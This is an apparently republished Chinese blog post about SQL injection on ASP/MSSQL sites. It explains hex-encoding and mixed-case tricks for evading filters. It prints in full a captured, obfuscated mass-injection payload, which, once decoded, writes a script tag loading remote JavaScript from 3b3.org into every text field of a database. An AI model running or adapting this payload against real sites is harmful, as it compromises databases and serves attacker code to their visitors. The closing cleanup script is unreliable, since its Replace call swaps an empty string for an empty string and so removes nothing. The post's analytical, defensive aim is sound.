关于SQL注入

来源:互联网 发布:cnc编程视频教程 编辑:程序博客网 时间:2024/05/21 08:53

  

   有一些程序,尤其是asp程序,对提交参数的验证不严格导致SQL注入漏洞的存在,通常情况下的过滤都会替换单引号 ['],因此很多注入方式就采用将SQL 语句进行Unicode编码(16进制)后再使用Cast还原,然后采用Exec(@SQL)这样动态方式执行,MSSQL里面很多输入参数是字符串类型的函数同时支持字符串的Unicode编码输入.如:
IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) ,跟 IS_SRVROLEMEMBER('systemadmin') 是等价的,  0x7300 是"s" 的unicode的16进制表示方式,而7900着对应"y"(双字节,字母的高位字节是0),采用这样的方式就可以避免使用单引号,也可以避免一些不严格的sql过滤.

 下面是记录到的一次数据库挂马代码:
 --===========================---

;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F0062006A006500630074007300200041002C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E00580074007900700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F0043007500720073006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B00400043002B0027005D003D0052007400720069006D00280043006F006E007600650072007400280056006100720063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F003300620033002E006F00720067002F0063002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);--
--========================--
Cast函数返回的是一组SQL语句,这个组SQL脚本使用游标的方式将数据库中的每张表,每条记录的字段是文本类型加上一个这样的脚本引用,另外关键字拼写时采用大小写混合的方式,目的还是为了躲避一些过滤, 因为说到asp语法大家都知道他是不区分大小写的,但是asp中的很多字符串处理函数其实是大小写敏感的,
如Instr(strv,"declare") ,默认情况下进行的是进行二进制比较(区分大小写)如果strv="DEcLaRE"就会被忽悠过去.

下面是清理被挂马数据库的一段脚本,SQL2005版的,SQL2000的需要调整下变量类型

 

DECLARE @TableName nvarchar(200), @ColumnName nvarchar(200) Declare @SQL nvarchar(1000) Set @SQL='' DECLARE C_cursor CURSOR FOR Select Table_Name,Column_Name From INFORMATION_SCHEMA.COLUMNS where (Data_Type='nvarchar' Or Data_Type='ntext' Or Data_Type='varchar' Or Data_type='text' ) OPEN C_cursor FETCH NEXT FROM C_cursor INTO @TableName, @ColumnName -- Check @@FETCH_STATUS to see if there are any more rows to fetch. WHILE @@FETCH_STATUS = 0 BEGIN -----------数据处理代码------ Set @SQL=' Update ' + @TableName +' Set ' + @ColumnName + ' = Replace( cast(' + @ColumnName +' as nvarchar(max)),'''','''') ' Exec( @SQL) -------------------------------- FETCH NEXT FROM C_cursor INTO @TableName, @ColumnName End CLOSE C_cursor DEALLOCATE C_cursor
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 吃香蕉吃的胃难受怎么办 qq糖卡在喉咙里怎么办 头发上粘到了qq糖怎么办 老房子土墙掉土怎么办 速写画的太慢怎么办 艺术生文化课没过线怎么办 5岁儿童坐飞机忘带证件怎么办 儿童坐飞机没带证件怎么办 儿童坐飞机没带户口本怎么办 儿童坐飞机没有带户口本怎么办 刚打蜡的车下雨怎么办 飞机票不能退票不能改签怎么办 深圳航空买机票姓名错了怎么办 大众cc打不着火怎么办 手上扎了仙人掌刺怎么办 pscs5界面字体太小怎么办 儿童做飞机没带户口本怎么办 黑户口想做飞机怎么办 宝宝坐飞机忘记带证件怎么办 值机柜台关闭了怎么办 值机迟到几分钟怎么办 婴儿坐飞机没带证件怎么办 飞机票买了一天降价1000怎么办 社保卡磁性没了怎么办 社保卡民族错了怎么办 坐飞机婴儿出生证明没带怎么办 手提行李超过5kg怎么办 随身行李超过5kg怎么办 南航机票填错身份证怎么办 两岁宝宝坐着驼背怎么办 两岁的宝宝坐晕车怎么办 在机场丢东西了怎么办 孩子放学不按时回家怎么办?转 右腿比左腿粗2cm怎么办 八个月宝宝小腿弯怎么办 南航航班取消了怎么办 高铁不能送老人怎么办 小孩买火车票没有身份证怎么办 断奶后孩子瘦了怎么办 两岁宝宝坐飞机哭闹怎么办 八个月宝宝坐飞机哭闹怎么办